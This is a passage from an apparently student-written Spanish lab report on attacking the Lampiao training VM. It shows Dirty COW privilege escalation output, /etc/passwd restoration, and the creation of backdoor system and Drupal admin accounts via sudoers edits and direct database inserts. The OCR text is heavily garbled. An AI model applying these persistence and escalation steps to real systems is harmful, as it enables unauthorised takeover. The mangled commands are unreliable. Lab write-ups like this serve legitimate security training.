que nos permitieron loguearno para poder realizarla creacion de los usuarios victor longa y

Manuel mena en la maquina victima.



5.2.Creacion de los usuarios

root@lampiao:~#
root@lampiao:~# adduser victor_longa
Adding user “victor_longa’' ...
Adding new group victor_longa® (1001)
Adding new user “victor_longa® (1001) with group “victor_longa’
Creating home directory ~/home/victor_longa’
Copying files from ~/etc/skel®
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for victor_longa
Enter the new value, or press ENTER for the default
Full Name []: victor manuel longa mena
Room Number []: victor_l1l
Work Phone []: 1213
Home Phone []: 31234
Other []:
Is the information correct? [Y/n] vy
root@lampiao:~# |j

Figura 37. Creamos el 1 usuario.

Aqui lo que hicimos para crear los usuarios fue ejecutar el comando adduser
victor_longa para crear una nueva cuenta de sistema llamada victor longa. Durante el proceso

se mostro:

Adding user 'victor_longa' : el sistema crea la cuenta.

Adding new group 'victor_longa' (1001) : se crea un grupo con el mismo nombre.

Creating home directory ''home/victor_longa' : se crea el directorio personal y se.

A continuacioén, se nos pidieron datos opcionales (Full Name, Room Number, Work
Phone, etc.). luego registramos el full name como victor manuel longa mena como nombre

completo y otros valores; al final confirmamos con yes o y.

33
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root@lampiao:~# adduser manuel_mena
Adding user “manuel_mena’
Adding new group “manuel_mena® (1002)
Adding new user “manuel_mena' (1002) with group “manuel_mena’
Creating home directory ~/home/manuel_mena’
Copying files from ~/etc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for manuel_mena
Enter the new value, or press ENTER for the default
Full Name []: mane”H"H"H"H"H"H"Hlonga “Hmena
Room Number []: manuel_ 1"Hm
Work Phone []: 4345
Home Phone []: 6548
Other []:
chfn: name with non-ASCII characterslongamena’
chfn: room number with non-ASCII characters: "manuel_m’
Is the information correct? [Y/n] vy
root@lampiao:~# |

Figura 38. Creamos el 2 usuario

Para el siguiente usuario 6sea manuel mena se siguio el mismo paso a paso por lo que no
explicare de nuevo el paso a paso de lo que se hizo, ya que literalmente fue lo mismo que

explique anteriormente.

5.3.Verificacion de que el registro de los usuarios tuvo éxito
Para verificar que el registro fue exitoso lo que hicimos fue ingresar los dos usuarios
dentro de la nuestra maquina de Lampiao, tambien se pudo ingresar por el servicio del ssh pero
como queriamos que fuese un poco mas practico lo hicimos de forma local y no de forma

remota.



buntu 14.04.5 LTS lampiao ttyl

lampiao login: victor_longa
[Password :
elcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic ibB6)

= Documentation: https://help.ubuntu.comn/

System information as of Sat Sep 27 12:39:54 BRT 2025

System load: 0.0 Processes: 164

Usage of ~: ?.5% of 19.07GB  Users logged in: 1

Memory usage: 184 IP address for eth0: 192.1.1.17

Swap usage: 0x

Graph this data and manage this system at:
https: rlandscape .canonical .coms

ew release "16.04.7 LTS’ available.
[Run 'do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software;
he exact distribution terms for each program are described in the
individual files in susr-share-doc/=/copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

victor_longa@lampian:™$

=) T o ) FAR e

Figura 39. Prueba exitosa usuario victor _longa

buntu 14.04.5 LTS lampiao ttyl

lampiao login: manuel_mena
[Password :
elcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i6B86)

= Documentat i https:sshelp.ubuntu.con~
System information as of Sat Sep 27 13:07:13 BRT 2025

System load: 0.0 Processes: 170

Usage of ~: ?.9% of 19.076B Users logged in: 1

Memory usage: 19« IP address for eth®: 192.1.1.17
Suap usage: 07

Graph this data and manage this system at:
https:/~landscape.canonical .con/

ew release '16.04.7 LTS' available.
'do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
he exact distribution terms for each program are described in the
individual files in susr/sharesdoc/=/copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

anuelfmena@lampian:"s

Ll A = 4 FAl [ (RS

Figura 40. Prueba usuario manuel mena
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6. Capitulo 4: Explotacion del sitio web

oplampiao:~% chmod +x documentos
go@lampiao:~% ./documentos -s
Running ...

Password overridden to: dirtyCowFun

Received su prompt (Password: )
echo @ > /proc/sys/vm/dirty )

cp /tmp/.ssh_bak / /passwd
55

rm Stmp/. h:bah

rootdlampiaoc:~# echo @ > /proc/sys/vm/dirty_writeba

root@lampiao:~# cp /tmp/.ssh_bak fetc/passwd
ampiaoc:~# rm /tmp/.ssh_bak

root@lampiaoc: ~#

root@lampiaoc:~# clearl

Figura 41. Limpiamos la consola
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Lo que hice aqui fue limpiar la consola con el comando clear antes de empezar a realizar

el paso a paso necesario para que pudiéramos explotar el servicio web de Lampiao que

mostramos anteriormente.

6.1.Asignacion de privilegios y verificacion de acceso

- | root@lampiao: ~
Archivo Acciones Editar Vista Ayuda

root@lampiao:~# usermod -aG sudo victor_longa
~# usermod -aG root victor_longa

echo "victor_longa All=(ALL;ALL)"

usermod -aG sudo manuel_mena

usermod -aG root manuel_mena

echo "manuel_mena All=(ALL;ALL)"
mpiao:~f
mpiao:~# 1s

-

mpiao:~# ||

Figura 42. Asignamos privilegios a los usuarios
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Luego, para confirmar que los usuarios quedaran con permisos administrativos, hicimos
cuatro acciones locales en la maquina Lampido: primero afiadimos a victor longa al grupo sudo
con usermod -aG sudo victor_longa; después lo agregamos también al grupo root con
usermod -aG root victor_longa; la tercera accion fue dejar una regla explicita en el fichero de
sudoers con echo "victor longa ALL=(ALL:ALL) ALL" >> /etc/sudoers para garantizar que
pueda usar sudo para cualquier comando; y, por ultimo, repetimos exactamente el mismo

procedimiento para manuel mena.

root@lampiao:~#
flag.txt

root@lampiao:~#
root@lampiao:~#
root@lampiao:/#

root@lampiao:/#
root@lampiao:/# cd var
root@lampiao:/var# 1s

root@lampiao:/var# cd www
root@lampiao: /var/wwi 1s

root@lampiao:/var/www# cd html

root@lampiao:/var/www/html# 1s

audio.méa INSTALL.pgsql.txt

authorize.php install.php update.php
CHANGELOG. txt INSTALL.sqlite.txt UPGRADE. txt
COPYRIGHT.txt INSTALL.txt web.config
cron.php lampiao g README.txt xmlrpc.php
LICENSE. txt robots. txt

index.php i
INSTALL.mysql.txt MAINTAINERS.txt
root@lampiao:/var/wm/html# Jj

Figura 43. Ingresar a la carpeta raiz con el comando

Lo siguiente que hicimos fue ingresar a la carpeta raiz con el comando ed .. luego que
estuvimos aqui el siguiente paso fue listar los archivos presentes, lo siguiente que hicimos fue
ingresamos al directorio /var con con el comando ed var, y dentro de ¢l entramos a la carpeta
www con el comando ¢d www. Posteriormente, nos movimos al directorio html con ¢d html,
que es donde generalmente se almacenan los archivos de las paginas web en Linux. Finalmente,
con el comando Is pudimos visualizar todos los archivos y carpetas del sitio, entre ellos

index.php, authorize.php, lampiao.jpg y otros archivos relacionados con la aplicacion.
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6.2.Insercion de los datos de los usuarios

tiago(@lampiao: ~
Archivo Acciones Editar Vista Ayuda

System information as of Sat

192.1.1.17

New re
Run 'd elease-upgrade’ to upgrade to it.

Last login: ep 27 7:14 2025 from 192.1.1.13
r password:
eading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
)L monitor Commands end with ; or
ion id is ¢
5.5.58-0ubuntu®.14.04.1 (Ubuntu)

, 2816, Oracle and/or its affiliates. ALl rights reserved.

rademark of Oracle Corporation and/or its
¢ be trademarks of their respec

owners.

Type "help;’ or "\h' for help. Type "\c' to clear the current input statement.

mysql> ]

Figura 44. Nos conectamos al servidor MySQL como el usuario drupaluser

Aqui lo que hicimos fue utilizar el comando mysql -u drupaluser -p -h localhost drupal
para conectarnos al servidor MySQL como el usuario drupaluser y abrir directamente la base de
datos drupal. Al ejecutarlo se solicito la contrasefia (-p) y, tras autenticar, se mostro el prompt de
MySQL (mysql>), listo para ejecutar consultas. Se aprecia ademas que el cliente MySQL cargo
la informacion de tablas/columnas para autocompletar y muestra la version del servidor, lo que

confirma que la conexion se estableciod correctamente.
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tiago@lampiac: ~

Archivo Acciones Editar Vista Ayuda

r ‘\h" for help. Type '\c’ to clear the current

ock
bootstrap

Figura 45. Empezamos a explorar la base de datos desde MySQL

Luego lo que se hizo fue empezar a explorar la base de datos desde MySQL.
Primero se ejecutd show databases;, lo que mostro las bases disponibles: information_schema y
drupal. Luego, con el comando use drupal, se seleccioné la base de datos de interés. Después, se
uso show tables, para listar todas las tablas dentro de drupal, apareciendo varias relacionadas

con el sistema.

root@lampiao: /y
root@lampiao:
README. txt

root@lamplao: el / estt cd default
root@lampiao:/ / S
default.settings

Figura 46. Navegamos dentro del darbol del sitio web para localizar la configuracion drupal

Después que hicimos eso, navegamos dentro del arbol del sitio web para localizar la
configuracion de Drupal. Primero se ejecut6 cd sites para entrar en el directorio sites de la web,
luego Is para listar su contenido. A continuacion, se entrd en default con cd default y se volvié a

listar (Is), mostrando los archivos clave default.settings.php, files y settings.php. En pocas
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palabras: se localizo la carpeta y los ficheros de configuracion de la instalacion Drupal para

analizarlos o editarlos.

root@lampiao: fvarfwwwihtml/sites/default

Archivo Acciones Editar Vista Ayuda

GNU nano 2.2.6 File: settings.php

Figura 47. Mostramos el archivo setting.php

Aqui solo mostramos el archivo setting.php en el cual ingresamos usando el comando
nano settings.php ; como tal, no realizamos ninguna configuracion dentro de este archivo, el
archivo basicamente nos muestra varias listas que contienen la base de datos, el nombre la

contrasena etc.

6.3.Creacion de los archivos para generar el hash

phpass_hash.php

Figura 48. Creamos el archivo hash

Usando el comando nano phpass_hash.php, creamos el archivo con ese nombre el cual tenia el

siguiente contenido.
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kali@kali: ~
Archivo Acciones Editar Vista Ayuda

GNU nano 8.4 phpass_hash.php

<?php

[1] 7 trim(fgets(STDIN));

false);

Figura 49. Visualizamos el archivo Hash

Archivo Acciones Editar Vista Ayuda

GNU PasswordHash.php
?php

Portable PHP password hashing framework.
version ©.3 / genuine.

Written < r at openwall.com> in 20
plac

R OHH B & &S8O

__construct(3i

—>itoa6s = './0123 defghijklmnopqrst

Figura 50. Se creo el archivo PasswordHash.php

Aqui, con nano PasswordHash.php lo que se hizo fue crear el archivo
PasswordHash.php en el editor de texto Nano. Dentro se peg6 la implementacion completa de la
clase PasswordHash , se guardé con Ctrl+O y se cerrd con Ctrl+X. El objetivo fue tener la clase
completa en el sistema para generar y comprobar hashes PHPass localmente (y asi crear hashes

compatibles con la instalacion de Drupal/Lampiao).
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Archivo Acciones Editar Vista Ayuda

GNU nano 8.4 phpass_hash.php
<?php
'PasswordHash.php’;

[1] 72 trim(fgets(STDIN));

PasswordHash(8, false);

—HashPassword( )5
. PHP_EOL;

Figura 51. Se creé un archivo de texto llamado phpass_hash.php

Con nano phpass_hash.php se cre6 un archivo de texto llamado phpass_hash.php en el
editor Nano para escribir el script que genera hashes phpass. En ese fichero se pego el pequeio
script PHP que hace require_once 'PasswordHash.php';, lee la contrasefia, instancia

PasswordHash(8, FALSE) y llama a HashPassword($pw) para imprimir el hash.

phpass_hash.php

$P$GkezX3NtO1ZdIRVWADXSLBmxT jROKTD

e

Figura 52. Se genero el hash

Por ultimo, generamos nuestro hash con el comando php phpass_hash.php

6.4. Insertamos los datos los usuarios a la base de datos
Para insertar los datos a la base de datos, lo que hicimos fue insertar con el comando
INSERT INTO los datos tanto del usuario victor longa como de manuel mena, esto lo hicimos

tal como se ve a continuacion.
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mysql>
mysql> INSERT INTO users

— (uid, name, pass, mail, theme, signature, signature_format, created, acces
s, login, status, timezone, language, picture, init, data)

—> VALUES
*victor_longa®, "HASH_VICTOR®', ‘victoragmail.com’, "', "°, "', UNIX_TI
@, 0, 1, "Colombia/Quibdo’, **, @, ‘victoragmail.com®, NULL);
1 row affected (0.02 sec)

Figura 53. insertamos los datos de victor _longa

nysqgl>
nysgl> INSERT INTO users

— (uid, name, pass, mail, theme, signature, signature_format, created, acces
s, login, status, timezone, language, picture, init, data)

—> VALUES

— (6, 'manuel_mena®, *HASH_MANUEL', ‘manuel@agmail.com’, *°*, "°, ', UNIX_TIM
ESTAMP(), ©, ©, 1, ‘Colombia/Quibdo*, "', ©, ‘manuel@gmail.com’, NULL);
Query OK, 1 row affected (0.02 sec)

vsqgl> i
Figura 54. insertamos los datos de manuel _mena
6.4.1 Visualizamos lo mostrado en la base de datos
Con el comando SELECT uid, name, mailL,status, pass FROM users; lo que hicimos
fue traer el usuario, nombre,correo, la contrasefia y otros datos de la tabla usuario de nuestra base

de datos tal como lo muestran las siguientes imagenes.

mail

[~
-
Q.

Eder ederglampiao.com
victor victorggmail.com
victor_longa | victor@gmail.com
manuel_mena manuel@gmail.com

o o e —

|
3
|
tiago | lampiao@lampiao.com
I
I
|
|
+

o —— e e —
d o —— e o —

I
I
I
|
I
I
I
+
6

rows in set (0.00 sec)

Figura 55. Visualizamos parte de los datos insertados

6.4.2 Insertamos el hash en la base de datos
Lo siguiente que hicimos fue insertar el hash en nuestra base de datos usando la

sentencias que se presentan en las imagenes.



mysql> UPDATE users
— SET pass = '$P$GkezX3Nt01ZdIRVWAOXSLBmXTjROKFO
— WHERE nam ‘manuel_mena';

Query OK, 1 row affected (0.02 sec)

Rows matched: 1 Changed: 1 Warnings: 0

mysql>
mysql> i

Figura 56. insertamos el hash par los usuarios

Por ultimo, mostramos lo utilizando el comando SELECT uid, name, maiL,pass

FROM users; mostramos lo aplicado.

JgtIVIPAN140KHKY
VPmVg fwI2U ..
cBUW

t01Zd IRV

©zX3Nt01Zd1

Figura 57. Visualizamos los usuarios y sus hash
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Problemas encontrados durante la realizacion del informe
Creo que como siempre mi principal problema fue el tiempo, admito que tuve que
concentrarme en realizar otras actividades ajenas a la universidad y durante parte de este
semestre he descuidado mi responsabilidad académica un poco, mi madre ha estado un poco
enferma desde hace unos meses asi que nos toco trasladarla a Medellin a hacerse unos examenes
y mi tiempo lo he orientado en trabajar para ayudarle econdmicamente en su estadia en dicha

ciudad pero prometo estar mas al pendiente y entregar este y otros informes que tengo atrasados.
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Solucion del Problema
La solucion de este problema aun esta un poco esquiva lo que si prometo es ser un poco

mas responsable con mis actividades académicas.
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Recomendaciones
Mi recomendacion seria explorar un poco mas las tematicas en clase antes de realizar los
laboratorio ya que a veces es complicado solucionar X o y problema por nuestra cuenta sin tener

cierta bases.
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Conclusion
Podemos concluir que en este laboratorio se sigui6 un flujo completo de reconocimiento,
explotacion y post-explotacion sobre la maquina Lampiao dentro del entorno controlado.
Primero se realiz6 reconocimiento de red y servicios (escaneamos con nmap) para identificar
hosts activos y puertos vulnerables, A partir de esa informacidn se generaron listas de usuarios y
directorios personalizadas (trabajamos con herramientas como cewl, Metasploit y hydra) que

permitieron obtener credenciales validas y conectarse por SSH al sistema objetivo.

Una vez dentro, se transfiri6 y prepard un exploit local (copiar fotos.cpp con scp,
compilar con g++, dar permisos con chmod +x) y se ejecutd para explotar una vulnerabilidad
local (Dirty COW en este escenario). Esa explotacion permitid elevar privilegios a root y ejecutar
acciones de post-explotacion: ajustar parametros del kernel, restaurar o modificar ficheros
sensibles (/etc/passwd) y limpiar evidencias temporales. Paralelamente se trabajo sobre la
aplicacion web (Drupal/Lampido): se explor6 la base de datos MySQL (SHOW DATABASES,
USE drupal, SHOW TABLES), se insertaron y actualizaron cuentas en la tabla users, y se
generaron hashes de contrasefia compatibles usando la implementacion de phpass adecuada para

la instalacion (comprobar la misma rutina que usa Drupal para evitar incompatibilidades entre

$P$ y $S9).
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